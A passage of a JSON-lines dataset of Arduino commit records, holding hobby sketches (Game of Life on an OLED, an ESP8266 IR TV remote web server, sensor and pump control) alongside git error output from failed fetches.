Serial.println(ypr[2] * 180\/M_PI);\n #endif\n\n if(loopcount > 2000) {\n offset = (ypr[0] * 180\/M_PI) - (origin[0] * 180\/M_PI);\n if(offset > 3) {\n posYaw -= 1;\n servoYaw.write(posYaw);\n }\n if(offset < -3) { \n posYaw += 1;\n servoYaw.write(posYaw);\n }\n }\n\n \/* if(loopcount > 2000) {\n offset = (ypr[1] * 180\/M_PI) - (origin[1] * 180\/M_PI);\n if(offset > 5) {\n posPitch -= 1;\n servoPitch.write(posPitch);\n }\n if(offset < -5) { \n posPitch += 1;\n servoPitch.write(posPitch);\n }\n }\n \n*\/\n \/\/ blink LED to indicate activity\n blinkState = !blinkState;\n digitalWrite(LED_PIN, blinkState);\n loopcount +=1 ;\n }\n\n\n \/\/-----------------------------------------------------------------------------------------\n \n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'MPU_6050_Accel_Gyro\/MPU_6050_Accel_Gyro.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"f44341034c5d06733620b9c38ba8287a23584950","subject":"Added Conway's Game of Life to repo","message":"Added Conway's Game of Life to repo\n\n","repos":"ckuzma\/nodemcu-as-arduino,ckuzma\/nodemcu-as-arduino","old_file":"nodemcu_oled_conway.ino","new_file":"nodemcu_oled_conway.ino","new_contents":"\/********************************************************************************\n* MIT License *\n* *\n* Copyright (c) 2016 Christopher Kuzma *\n* *\n* Permission is hereby granted, free of charge, to any person obtaining a copy *\n* of this software and associated documentation files (the \"Software\"), to deal *\n* in the Software without restriction, including without limitation the rights *\n* to use, copy, modify, merge, publish, distribute, sublicense, and\/or sell *\n* copies of the Software, and to permit persons to whom the Software is *\n* furnished to do so, subject to the following conditions: *\n* *\n* The above copyright notice and this permission notice shall be included in all*\n* copies or substantial portions of the Software. *\n* *\n* THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR *\n* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, *\n* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE *\n* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER *\n* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, *\n* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE *\n* SOFTWARE. *\n********************************************************************************\/\n\n\n#include \"SSD1306.h\"\n\n\/\/ Set where to find the board\nSSD1306 display(0x3c, D3, D4); \/\/ Specify pins display is connected to, might have to change address\n\n\/\/ Set display stuff\nconst int len = 32; \/\/ 128 native pixels \/ 4 pixels per cell = 32 virtual cells length\nconst int ht = 16; \/\/ 64 native pixels \/ 4 pixels per cell = 16 virtual cells height\nconst int pixelSize = 4; \/\/ Set how many native pixels = pixels per cell length or width\nconst bool flipScreen = false; \/\/ If you need to flip the screen\n\n\n\/\/ Counter and seed value\nint seedValue = 0;\nint counter = 0;\nint maxCycles = 500; \/\/ 500 cycles per game * 0.1 sec per cycle = 50 second games\n\n\/\/ Initialize the board\nint board[len][ht];\nint newBoard[len][ht];\n\n\/\/ Function prototypes\nint countNeighbors(int, int);\nvoid drawBoard();\nvoid randomBoard();\n\n\/\/ Runs when powering on\nvoid setup(){\n \/\/ Init the display\n display.init();\n if(flipScreen == true){\n display.flipScreenVertically();\n }\n\n \/\/ Display the title\n display.clear();\n display.setFont(ArialMT_Plain_10);\n display.drawString(40, 15, F(\"Conway\\'s\"));\n display.drawString(32, 30, F(\"Game of Life\"));\n display.drawString(0, 51, \"Starting game \" + String(seedValue + 1) + \"...\");\n display.display();\n delay(2000);\n display.clear();\n\n \/\/ Seed the board\n randomBoard();\n}\n\n\/\/ Main loop\nvoid loop() {\n \/\/ Catch for number of cycles per game\n if(counter == maxCycles){\n randomSeed(seedValue);\n randomBoard();\n seedValue++;\n counter = 0;\n display.clear();\n display.drawString(0, 51, \"Starting game \" + String(seedValue + 1) + \"...\");\n display.display();\n delay(2000);\n display.clear();\n }\n\n \/\/ Draw the board, increment cycle counter\n drawBoard();\n makeNewBoard();\n counter++;\n\n \/\/ Do a 0.1 second delay\n delay(100);\n}\n\nvoid drawBoard(){\n display.clear();\n for(int x=0; x<len; x++){\n for(int y=0; y<ht; y++){\n if(board[x][y] == 1){\n display.fillRect(x*pixelSize, y*pixelSize, pixelSize, pixelSize);\n }\n }\n }\n display.display();\n}\n\nint countNeighbors(int x, int y){\n return board[x-1][y]+board[x-1][y-1]+board[x][y-1]+board[x+1][y-1]+board[x+1][y]+board[x+1][y+1]+board[x][y+1]+board[x-1][y+1];\n}\n\nvoid makeNewBoard(){\n for(int x=0; x<len; x++){\n for(int y=0; y<ht; y++){\n int neighbors = countNeighbors(x, y);\n if(board[x][y] == 1 && (neighbors == 2 || neighbors == 3)){\n newBoard[x][y] = 1;\n }\n else if(board[x][y] == 1){\n newBoard[x][y] = 0;\n }\n if(board[x][y] == 0 && (neighbors == 3)){\n newBoard[x][y] = 1;\n }\n else if (board[x][y] == 0){\n newBoard[x][y] = 0;\n }\n }\n }\n for(int x=0; x<len; x++){\n for(int y=0; y<ht; y++){\n board[x][y] = newBoard[x][y];\n }\n }\n}\n\nvoid randomBoard(){\n for(int x=0; x<len; x++){\n for(int y=0; y<ht; y++){\n board[x][y] = random(0,2);\n }\n }\n}\n\r\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'nodemcu_oled_conway.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"4c961d5b7600be06e29c64589a432a3b781bdcb1","subject":"Code for Muscle SpikerShield with envelope hardware added","message":"Code for Muscle SpikerShield with envelope hardware added\n","repos":"BackyardBrains\/SpikerShield,BackyardBrains\/SpikerShield","old_file":"Muscle\/Arduino Code\/Complete\/MuscleSpikerShieldForEnvelopeHardware.ino","new_file":"Muscle\/Arduino Code\/Complete\/MuscleSpikerShieldForEnvelopeHardware.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Muscle\/Arduino' did not match any file(s) known to git\nerror: pathspec 'Code\/Complete\/MuscleSpikerShieldForEnvelopeHardware.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"92fd9963ccb1531e88c754bd7f8b35adfd4ee42b","subject":"Added update to blink gauge","message":"Added update to blink gauge\n","repos":"csgregg\/maker","old_file":"esp8266\/projects\/Blynk Light Switch v1\/blynk_light_switch_01\/blynk_light_switch_01.ino","new_file":"esp8266\/projects\/Blynk Light Switch v1\/blynk_light_switch_01\/blynk_light_switch_01.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/csgregg\/maker.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"379dd8d761ed1b5bb97a44440416fe561483b0a1","subject":"Optimise data types","message":"Optimise data types","repos":"majenkotech\/Arduino,majenkotech\/Arduino,majenkotech\/Arduino,majenkotech\/Arduino,majenkotech\/Arduino,majenkotech\/Arduino,majenkotech\/Arduino","old_file":"build\/shared\/examples\/02.Digital\/Button\/Button.ino","new_file":"build\/shared\/examples\/02.Digital\/Button\/Button.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"fatal: remote error: upload-pack: not our ref 379dd8d761ed1b5bb97a44440416fe561483b0a1\nfatal: the remote end hung up unexpectedly\n","license":"lgpl-2.1","lang":"Arduino"} {"commit":"62bfa985cf0975b60b752d39f55bf925da1e7987","subject":"better logging","message":"better logging\n","repos":"trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone","old_file":"EndstopTest\/EndstopTest.ino","new_file":"EndstopTest\/EndstopTest.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/trinamic\/T-Bone.git\/'\n","license":"agpl-3.0","lang":"Arduino"} {"commit":"9550366e36d3c70967b725ce32a9e8cc42290ba9","subject":"Arduino Programming","message":"Arduino Programming\n","repos":"canon3478\/healper_project","old_file":"Arduino\/ValuesToApp.ino","new_file":"Arduino\/ValuesToApp.ino","new_contents":"#include <SoftwareSerial.h>\nSoftwareSerial BTSerial(2,3);\n\nint ps_Pin[] = {A0,A1,A2,A3};\nint ps_Value[] = {0,0,0,0};\nint i;\nint default_Value[]={0,0,0,0};\nint cnt_time[] = {0,0};\n\nvoid setup() {\n Serial.begin(9600);\n Serial.println(\"Hello!\");\n BTSerial.begin(9600);\n for(i=0;i<5;i++)\n {\n default_Value[0] += analogRead(ps_Pin[0]);\n default_Value[1] += analogRead(ps_Pin[1]);\n default_Value[2] += analogRead(ps_Pin[2]);\n default_Value[3] += analogRead(ps_Pin[3]);\n delay(1000);\n }\n for(i=0;i<4;i++) {\n default_Value[i] = default_Value[i]\/5;\n }\n \n}\n\nvoid loop() {\n \n if (BTSerial.available()) {\n Serial.write(BTSerial.read());\n }\n if (Serial.available()) {\n BTSerial.write(Serial.read());\n }\n \n ps_Value[0] = analogRead(ps_Pin[0]);\n ps_Value[1] = analogRead(ps_Pin[1]);\n ps_Value[2] = analogRead(ps_Pin[2]);\n ps_Value[3] = analogRead(ps_Pin[3]);\n Serial.print(\"A1 : \");\n Serial.println(ps_Value[0]);\n Serial.print(\"A2 : \");\n Serial.println(ps_Value[1]);\n Serial.print(\"A3 : \");\n Serial.println(ps_Value[2]);\n Serial.print(\"A4 : \");\n Serial.println(ps_Value[3]);\n Serial.println();\n \/*\n BTSerial.print(ps_Value1);\n delay(1000);\n *\/\n if(default_Value[0] > ps_Value[0]+100) {\n cnt_time[0] += 1;\n if(cnt_time[0]>=3) {\n Serial.println(\"Left Leg\");\n }\n }\n else {\n cnt_time[0]=0;\n }\n if(default_Value[1] > ps_Value[1]+100) {\n cnt_time[1] += 1;\n if(cnt_time[1]>=3) {\n Serial.println(\"Right Leg\");\n }\n }\n else {\n cnt_time[1]=0;\n }\n delay(1000);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Arduino\/ValuesToApp.ino' did not match any file(s) known to git\n","license":"epl-1.0","lang":"Arduino"} {"commit":"a2189bc7fafa203acdbbbccc35241f121acd29c2","subject":"Updated for v2.0 of IRremoteESP8266","message":"Updated for v2.0 of IRremoteESP8266\n","repos":"JZ-SmartThings\/SmartThings,JZ-SmartThings\/SmartThings,JZ-SmartThings\/SmartThings","old_file":"Devices\/TVDevice\/IRSender.ino","new_file":"Devices\/TVDevice\/IRSender.ino","new_contents":"\/**\n * TV Device Sample v1.0.20170603\n * Source code can be found here: https:\/\/github.com\/JZ-SmartThings\/SmartThings\/blob\/master\/Devices\/TVDevice\n * Copyright 2016 JZ\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\"); you may not use this file except\n * in compliance with the License. You may obtain a copy of the License at:\n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed\n * on an \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License\n * for the specific language governing permissions and limitations under the License.\n *\/\n\n\/\/ SELECT IR PIN\nconst int IRpin = D2;\n\n\/\/true SENDS GROUND, false SENDS VCC SIGNAL\nconst bool sendGround = false;\n\n#include <IRsend.h>\nIRsend irsend(D2, sendGround);\n\n#include <ESP8266WiFi.h>\n#include <WiFiClient.h>\n#include <ESP8266WebServer.h>\n#include <ESP8266mDNS.h>\n#include <WiFiUdp.h>\n#include <ArduinoOTA.h>\n\nconst char* ssid = \"WIFI_SSID\";\nconst char* password = \"WIFI_PASSWORD\";\n\nMDNSResponder mdns;\nESP8266WebServer server(80);\n\n\/\/ OTA AUTODETECT\nWiFiServer TelnetServer(8266);\n\n\/\/ OTHER VARIABLES\nString currentIP;\n\nvoid setup(void){\n \/\/TURN OFF BUILTIN LEDS\n pinMode(LED_BUILTIN, OUTPUT); \/\/GPIO16 also D0 also LED_BUILTIN\n pinMode(D4, OUTPUT); \/\/GPIO2 also D4\n digitalWrite(LED_BUILTIN, HIGH);\n digitalWrite(D4, HIGH);\n\n irsend.begin();\n \/\/OTA\n TelnetServer.begin();\n \n Serial.begin(115200);\n WiFi.mode(WIFI_STA);\n WiFi.begin(ssid, password);\n Serial.println(\"\");\n\n \/\/ Wait for connection\n while (WiFi.status() != WL_CONNECTED) {\n delay(500);\n Serial.print(\".\");\n }\n Serial.println(\"\");\n Serial.print(\"Connected to \");\n Serial.println(ssid);\n Serial.print(\"IP address: \");\n Serial.println(WiFi.localIP());\n currentIP = WiFi.localIP().toString();\n\n if (mdns.begin(\"esp8266\", WiFi.localIP())) {\n Serial.println(\"MDNS responder started\");\n }\n\n \/\/ OTA\n \/\/ Port defaults to 8266\n \/\/ArduinoOTA.setPort(8266);\n \/\/ Hostname defaults to esp8266-[ChipID]\n \/\/ArduinoOTA.setHostname(\"myesp8266\");\n \/\/ No authentication by default\n \/\/ArduinoOTA.setPassword((const char *)\"xxxxx\");\n\n ArduinoOTA.onStart([]() {\n Serial.println(\"OTA Start\");\n });\n ArduinoOTA.onEnd([]() {\n Serial.println(\"OTA End\");\n Serial.println(\"Rebooting...\");\n });\n ArduinoOTA.onProgress([](unsigned int progress, unsigned int total) {\n Serial.printf(\"Progress: %u%%\\r\\n\", (progress \/ (total \/ 100)));\n });\n ArduinoOTA.onError([](ota_error_t error) {\n Serial.printf(\"Error[%u]: \", error);\n if (error == OTA_AUTH_ERROR) Serial.println(\"Auth Failed\");\n else if (error == OTA_BEGIN_ERROR) Serial.println(\"Begin Failed\");\n else if (error == OTA_CONNECT_ERROR) Serial.println(\"Connect Failed\");\n else if (error == OTA_RECEIVE_ERROR) Serial.println(\"Receive Failed\");\n else if (error == OTA_END_ERROR) Serial.println(\"End Failed\");\n });\n ArduinoOTA.begin();\n\n server.on(\"\/\", handleRoot);\n server.on(\"\/ir\", handleIr); \n \n server.on(\"\/inline\", [](){\n server.send(200, \"text\/plain\", \"this works as well\");\n });\n\n server.onNotFound(handleNotFound);\n \n server.begin();\n Serial.println(\"HTTP server started\");\n}\n \nvoid loop(void){\n ArduinoOTA.handle();\n server.handleClient();\n} \n\n\nvoid handleRoot() {\n String htmlContent = \"<html><head><title>ESP8266 IR Remote<\/title><\/head><body><a href='\/'><h1>ESP8266 IR Remote<\/h1><h2>\";\n htmlContent += currentIP;\n htmlContent += \"<\/h2><\/a><br>\\n\";\n for (uint8_t i=0; i<server.args(); i++){\n htmlContent += server.argName(i); htmlContent += \"=\"; htmlContent += server.arg(i); htmlContent += \"\\n<br>\";\n }\n htmlContent += \"UpTime=\"; htmlContent += uptime(); htmlContent += \"\\n<br>\";\n \n \n htmlContent += \"<\/br><p><a href=\\\"ir?tv=on\\\">TV ON<\/a><\/p><p><a href=\\\"ir?tv=off\\\">TV OFF<\/a><\/p>\";\n htmlContent += \"<p><a href=\\\"ir?tv=chanup\\\">TV CHANNEL UP<\/a><\/p><p><a href=\\\"ir?tv=chandown\\\">TV CHANNEL DOWN<\/a><\/p><p><a href=\\\"ir?tv=prev\\\">PREVIOUS<\/a><\/p>\";\n htmlContent += \"<p><a href=\\\"ir?tv=volup\\\">TV VOLUME UP<\/a><\/p><p><a href=\\\"ir?tv=voldown\\\">TV VOLUME DOWN<\/a><\/p><p><a href=\\\"ir?tv=mute\\\">TV MUTE<\/a><\/p><p><a href=\\\"ir?tv=input\\\">TV INPUT<\/a><\/p>\";\n htmlContent += \"<p><a href=\\\"ir?hdmi=1\\\">HDMI 1<\/a><\/p><p><a href=\\\"ir?hdmi=2\\\">HDMI 2<\/a><\/p>\";\n htmlContent += \"<p><a href=\\\"ir?hdmi=3\\\">HDMI 3<\/a><\/p><p><a href=\\\"ir?hdmi=4\\\">HDMI 4<\/a><\/p><\/body><\/html>\";\n server.send(200, \"text\/html\", htmlContent);\n}\n\nvoid handleIr(){\n for (uint8_t i=0; i<server.args(); i++){\n if(server.argName(i) == \"single\") \n {\n \/\/unsigned int rawData[67] = {9050,4500, 600,600, 550,600, 550,1700, 550,600, 550,600, 550,600, 550,600, 550,600, 550,1700, 600,1700, 550,600, 550,1700, 550,1700, 550,1700, 600,1700, 550,1700, 550,600, 550,600, 550,600, 550,1700, 600,600, 550,600, 550,600, 550,600, 550,1700, 600,1700, 600,1700, 600,600, 550,1700, 550,1700, 600,1700, 600,1700, 600}; \/\/ NEC 20DF10EF\n uint16_t rawData[67] = {9050,4500, 600,600, 550,600, 550,1700, 550,600, 550,600, 550,600, 550,600, 550,600, 550,1700, 600,1700, 550,600, 550,1700, 550,1700, 550,1700, 600,1700, 550,1700, 550,600, 550,600, 550,600, 550,1700, 600,600, 550,600, 550,600, 550,600, 550,1700, 600,1700, 600,1700, 600,600, 550,1700, 550,1700, 600,1700, 600,1700, 600}; \/\/ NEC 20DF10EF\n irsend.sendRaw(rawData, 67, 32);\n }\n else if(server.argName(i) == \"tv\") \n {\n if (server.arg(i) == \"on\") {\n uint16_t rawData[20] = {6000,1200, 1200,1200, 600,600, 1200,600, 600,600, 600,600, 600,600, 1200,1200, 1200,600, 600,30000}; \/\/ UNKNOWN A80E7E5E\n irsend.sendRaw(rawData, 20, 32);\n delay(1000);\n irsend.sendNEC(0x20DF23DC, 32);\n uint16_t tvon[67] = {9050,4450, 650,550, 650,550, 650,1650, 650,550, 650,550, 650,550, 650,550, 650,550, 650,1650, 650,1650, 650,550, 650,1650, 650,1650, 650,1650, 650,1650, 650,1650, 650,550, 650,550, 650,1650, 650,550, 650,550, 650,550, 650,1650, 650,1650, 650,1650, 650,1650, 650,550, 650,1650, 650,1650, 650,1650, 650,550, 650,550, 650}; \/\/ NEC 20DF23DC\n irsend.sendRaw(tvon, 67, 32);\n }\n if (server.arg(i) == \"off\") {\n uint16_t rawData[20] = {6000,1200, 1200,1200, 600,600, 1200,600, 600,600, 600,600, 600,1200, 1200,1200, 1200,1200, 600,30000}; \/\/ UNKNOWN 692D04A0\n irsend.sendRaw(rawData, 20, 32);\n delay(1000);\n irsend.sendNEC(0x20DFA35C, 32);\n \/\/uint16_t tvoff[67] = {9050,4450, 650,550, 650,550, 650,1650, 650,550, 650,550, 650,550, 650,550, 650,550, 650,1650, 650,1650, 650,550, 650,1650, 650,1650, 650,1650, 650,1650, 650,1650, 650,1650, 650,550, 650,1650, 650,550, 650,550, 650,550, 650,1650, 650,1650, 650,550, 650,1650, 650,550, 650,1650, 650,1650, 650,1650, 650,550, 650,550, 650}; \/\/ NEC 20DFA35C\n \/\/irsend.sendRaw(tvoff, 67, 32);\n }\n if (server.arg(i) == \"chanup\") {\n uint16_t chanup[20] = {6000,1200, 1200,1200, 600,600, 600,600, 600,600, 1200,1200, 600,1200, 1200,600, 1200,600, 600,30000}; \/\/ UNKNOWN 165412B7\n irsend.sendRaw(chanup, 20, 32);\n }\n if (server.arg(i) == \"chandown\") {\n uint16_t chandown[20] = {6000,1200, 1200,1200, 600,600, 600,600, 600,600, 1200,1200, 1200,600, 1200,600, 1200,1200, 600,30000}; \/\/ UNKNOWN 5815B090\n irsend.sendRaw(chandown, 20, 32);\n }\n if (server.arg(i) == \"prev\") {\n uint16_t prev[20] = {6000,1200, 1200,1200, 600,600, 600,600, 600,600, 1200,1200, 1200,1200, 1200,1200, 600,600, 600,30000}; \/\/ UNKNOWN 5BFBFDE9\n irsend.sendRaw(prev, 20, 32);\n }\n if (server.arg(i) == \"volup\") {\n irsend.sendNEC(0x20DF40BF, 32);\n \/\/uint16_t volup[67] = {9100,4450, 650,500, 650,500, 650,1650, 650,500, 650,500, 650,500, 650,500, 650,500, 650,1650, 650,1650, 650,500, 650,1650, 650,1650, 650,1650, 650,1650, 650,1650, 650,500, 650,1650, 650,500, 650,500, 650,500, 650,500, 650,500, 650,500, 650,1650, 650,500, 650,1650, 650,1650, 650,1650, 650,1650, 650,1650, 650,1650, 650}; \/\/ NEC 20DF40BF\n \/\/irsend.sendRaw(volup, 67, 32);\n }\n if (server.arg(i) == \"voldown\") {\n irsend.sendNEC(0x20DFC03F, 32);\n \/\/uint16_t voldown[67] = {9100,4450, 650,500, 650,500, 650,1650, 650,500, 650,500, 650,500, 650,500, 650,500, 650,1650, 650,1650, 650,500, 650,1650, 650,1650, 650,1650, 650,1650, 650,1650, 650,1650, 650,1650, 650,500, 650,500, 650,500, 650,500, 650,500, 650,500, 650,500, 650,500, 650,1650, 650,1650, 650,1650, 650,1650, 650,1650, 650,1650, 650}; \/\/ NEC 20DFC03F\n \/\/irsend.sendRaw(voldown, 67, 32);\n\n }\n if (server.arg(i) == \"mute\") {\n irsend.sendNEC(0x20DF906F, 32);\n \/\/uint16_t mute[67] = {9050,4500, 650,550, 550,600, 550,1700, 650,550, 600,550, 650,550, 600,550, 600,550, 650,1650, 650,1650, 650,550, 650,1650, 650,1650, 650,1650, 650,1650, 650,1650, 650,1650, 650,550, 650,550, 650,1650, 650,550, 650,550, 650,550, 650,550, 650,550, 650,1650, 650,1650, 650,550, 650,1650, 650,1650, 650,1650, 650,1650, 650}; \/\/ NEC 20DF906F\n \/\/irsend.sendRaw(mute, 67, 32);\n }\n if (server.arg(i) == \"input\") {\n irsend.sendNEC(0x20DFD02F, 32);\n \/\/uint16_t input[67] = {9100,4450, 650,500, 650,550, 650,1650, 650,500, 650,500, 650,500, 650,550, 650,550, 650,1650, 650,1650, 650,500, 650,1650, 650,1650, 650,1650, 650,1650, 650,1650, 650,1650, 650,1650, 650,500, 650,1650, 650,500, 650,500, 650,550, 650,550, 650,550, 650,550, 650,1650, 650,500, 650,1650, 650,1650, 650,1650, 650,1650, 650}; \/\/ NEC 20DFD02F\n \/\/irsend.sendRaw(input, 67, 32);\n delay(500);\n \/\/irsend.sendRaw(input, 67, 32);\n irsend.sendNEC(0x20DFD02F, 32);\n delay(500);\n irsend.sendNEC(0x20DF22DD, 32);\n \/\/uint16_t okay[67] = {9050,4450, 700,500, 650,500, 650,1600, 650,550, 650,500, 600,550, 600,550, 600,550, 600,1650, 700,1600, 700,500, 650,1600, 650,1600, 700,1600, 650,1600, 650,1600, 700,500, 650,500, 650,1600, 650,500, 650,500, 650,500, 650,1600, 650,500, 650,1600, 700,1600, 700,500, 650,1600, 650,1600, 650,1650, 650,550, 650,1600, 650}; \/\/ NEC 20DF22DD\n \/\/irsend.sendRaw(okay, 67, 32);\n }\n }\n else if(server.argName(i) == \"hdmi\") \n {\n if (server.arg(i) == \"1\") {\n irsend.sendNEC(0x1FE40BF, 32);\n \/\/uint16_t hdmi1[67] = {9024,4512, 564,564, 564,564, 564,564, 564,564, 564,564, 564,564, 564,564, 564,1692, 564,1692, 564,1692, 564,1692, 564,1692, 564,1692, 564,1692, 564,1692, 564,564, 564,564, 564,1692, 564,564, 564,564, 564,564, 564,564, 564,564, 564,564, 564,1692, 564,564, 564,1692, 564,1692, 564,1692, 564,1692, 564,1692, 564,1692, 564}; \/\/ NEC 1FE40BF\n \/\/irsend.sendRaw(hdmi1, 67, 32);\n }\n if (server.arg(i) == \"2\") {\n irsend.sendNEC(0x1FE20DF, 32);\n \/\/uint16_t hdmi2[67] = {9024,4512, 564,564, 564,564, 564,564, 564,564, 564,564, 564,564, 564,564, 564,1692, 564,1692, 564,1692, 564,1692, 564,1692, 564,1692, 564,1692, 564,1692, 564,564, 564,564, 564,564, 564,1692, 564,564, 564,564, 564,564, 564,564, 564,564, 564,1692, 564,1692, 564,564, 564,1692, 564,1692, 564,1692, 564,1692, 564,1692, 564}; \/\/ NEC 1FE20DF\n \/\/irsend.sendRaw(hdmi2, 67, 32);\n }\n if (server.arg(i) == \"3\") {\n irsend.sendNEC(0x1FEA05F, 32);\n \/\/uint16_t hdmi3[67] = {9024,4512, 564,564, 564,564, 564,564, 564,564, 564,564, 564,564, 564,564, 564,1692, 564,1692, 564,1692, 564,1692, 564,1692, 564,1692, 564,1692, 564,1692, 564,564, 564,1692, 564,564, 564,1692, 564,564, 564,564, 564,564, 564,564, 564,564, 564,564, 564,1692, 564,564, 564,1692, 564,1692, 564,1692, 564,1692, 564,1692, 564}; \/\/ NEC 1FEA05F\n \/\/irsend.sendRaw(hdmi3, 67, 32);\n }\n if (server.arg(i) == \"4\") {\n irsend.sendNEC(0x1FE609F, 32);\n \/\/uint16_t hdmi4[67] = {9024,4512, 564,564, 564,564, 564,564, 564,564, 564,564, 564,564, 564,564, 564,1692, 564,1692, 564,1692, 564,1692, 564,1692, 564,1692, 564,1692, 564,1692, 564,564, 564,564, 564,1692, 564,1692, 564,564, 564,564, 564,564, 564,564, 564,564, 564,1692, 564,564, 564,564, 564,1692, 564,1692, 564,1692, 564,1692, 564,1692, 564}; \/\/ NEC 1FE609F\n \/\/irsend.sendRaw(hdmi4, 67, 32);\n }\n }\n }\n handleRoot();\n}\n\nvoid handleNotFound(){\n String message = \"File Not Found\\n\\n\";\n message += \"URI: \";\n message += server.uri();\n message += \"\\nMethod: \";\n message += (server.method() == HTTP_GET)?\"GET\":\"POST\";\n message += \"\\nArguments: \";\n message += server.args();\n message += \"\\n\";\n for (uint8_t i=0; i<server.args(); i++){\n message += \" \" + server.argName(i) + \": \" + server.arg(i) + \"\\n\";\n }\n server.send(404, \"text\/plain\", message);\n}\n\nString uptime() {\n float d,hr,m,s;\n String dstr,hrstr, mstr, sstr;\n unsigned long over;\n d=int(millis()\/(3600000*24));\n dstr=String(d,0);\n dstr.replace(\" \", \"\");\n over=millis()%(3600000*24);\n hr=int(over\/3600000);\n hrstr=String(hr,0);\n if (hr<10) {hrstr=hrstr=\"0\"+hrstr;}\n hrstr.replace(\" \", \"\");\n over=over%3600000;\n m=int(over\/60000);\n mstr=String(m,0);\n if (m<10) {mstr=mstr=\"0\"+mstr;}\n mstr.replace(\" \", \"\");\n over=over%60000;\n s=int(over\/1000);\n sstr=String(s,0);\n if (s<10) {sstr=\"0\"+sstr;}\n sstr.replace(\" \", \"\");\n if (dstr==\"0\") {\n return hrstr + \":\" + mstr + \":\" + sstr;\n } else if (dstr==\"1\") {\n return dstr + \" Day \" + hrstr + \":\" + mstr + \":\" + sstr;\n } else {\n return dstr + \" Days \" + hrstr + \":\" + mstr + \":\" + sstr;\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Devices\/TVDevice\/IRSender.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"5720d6e39d08d80c121cd5e9294a0106ee94f2d9","subject":"testing programming principles with a simple land robot","message":"testing programming principles with a simple land robot\n","repos":"ocean-x\/erikson-1,ocean-x\/erikson-1,ocean-x\/erikson-1","old_file":"motor_robot.ino","new_file":"motor_robot.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/ocean-x\/erikson-1.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"e40a9c5d98e003efa5ab019ab414dafd6c164144","subject":"COH-23","message":"COH-23","repos":"DamonHD\/OTRadioLink,Denzo77\/OTRadioLink,opentrv\/OTRadioLink,opentrv\/OTRadioLink,opentrv\/OTRadioLink,Denzo77\/OTRadioLink,DamonHD\/OTRadioLink,Denzo77\/OTRadioLink,DamonHD\/OTRadioLink,DamonHD\/OTRadioLink,opentrv\/OTRadioLink,Denzo77\/OTRadioLink","old_file":"test\/test.ino","new_file":"test\/test.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/Denzo77\/OTRadioLink.git\/'\n","license":"apache-2.0","lang":"Arduino"} {"commit":"61a575d09eb8e8340c794b26a08e6fca0b5af92b","subject":"Fixed: Added missing PumpControl sketch tab.","message":"Fixed: Added missing PumpControl sketch tab.\n","repos":"aweijnitz\/hydrobalcony,aweijnitz\/hydrobalcony,aweijnitz\/hydrobalcony,aweijnitz\/hydrobalcony","old_file":"Arduino\/MainControl\/PumpControl.ino","new_file":"Arduino\/MainControl\/PumpControl.ino","new_contents":"bool pumpShouldRun = false;\n\nbool shouldPumpRun() {\n return pumpShouldRun;\n}\n\nnumvar rp(void) {\n runPump();\n}\n\nnumvar sp(void) {\n stopPump();\n}\n\nnumvar tp(void) {\n togglePump();\n}\n\n\nvoid runPump() {\n pumpShouldRun = true;\n}\n\nvoid stopPump() {\n pumpShouldRun = false;\n}\n\nvoid togglePump() {\n pumpShouldRun = !pumpShouldRun;\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Arduino\/MainControl\/PumpControl.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"1fb4d34c8b2b32bfa7d8661104cec4df7f0bd54c","subject":"Add Arduino sketch for sparkfun sensor","message":"Add Arduino sketch for sparkfun 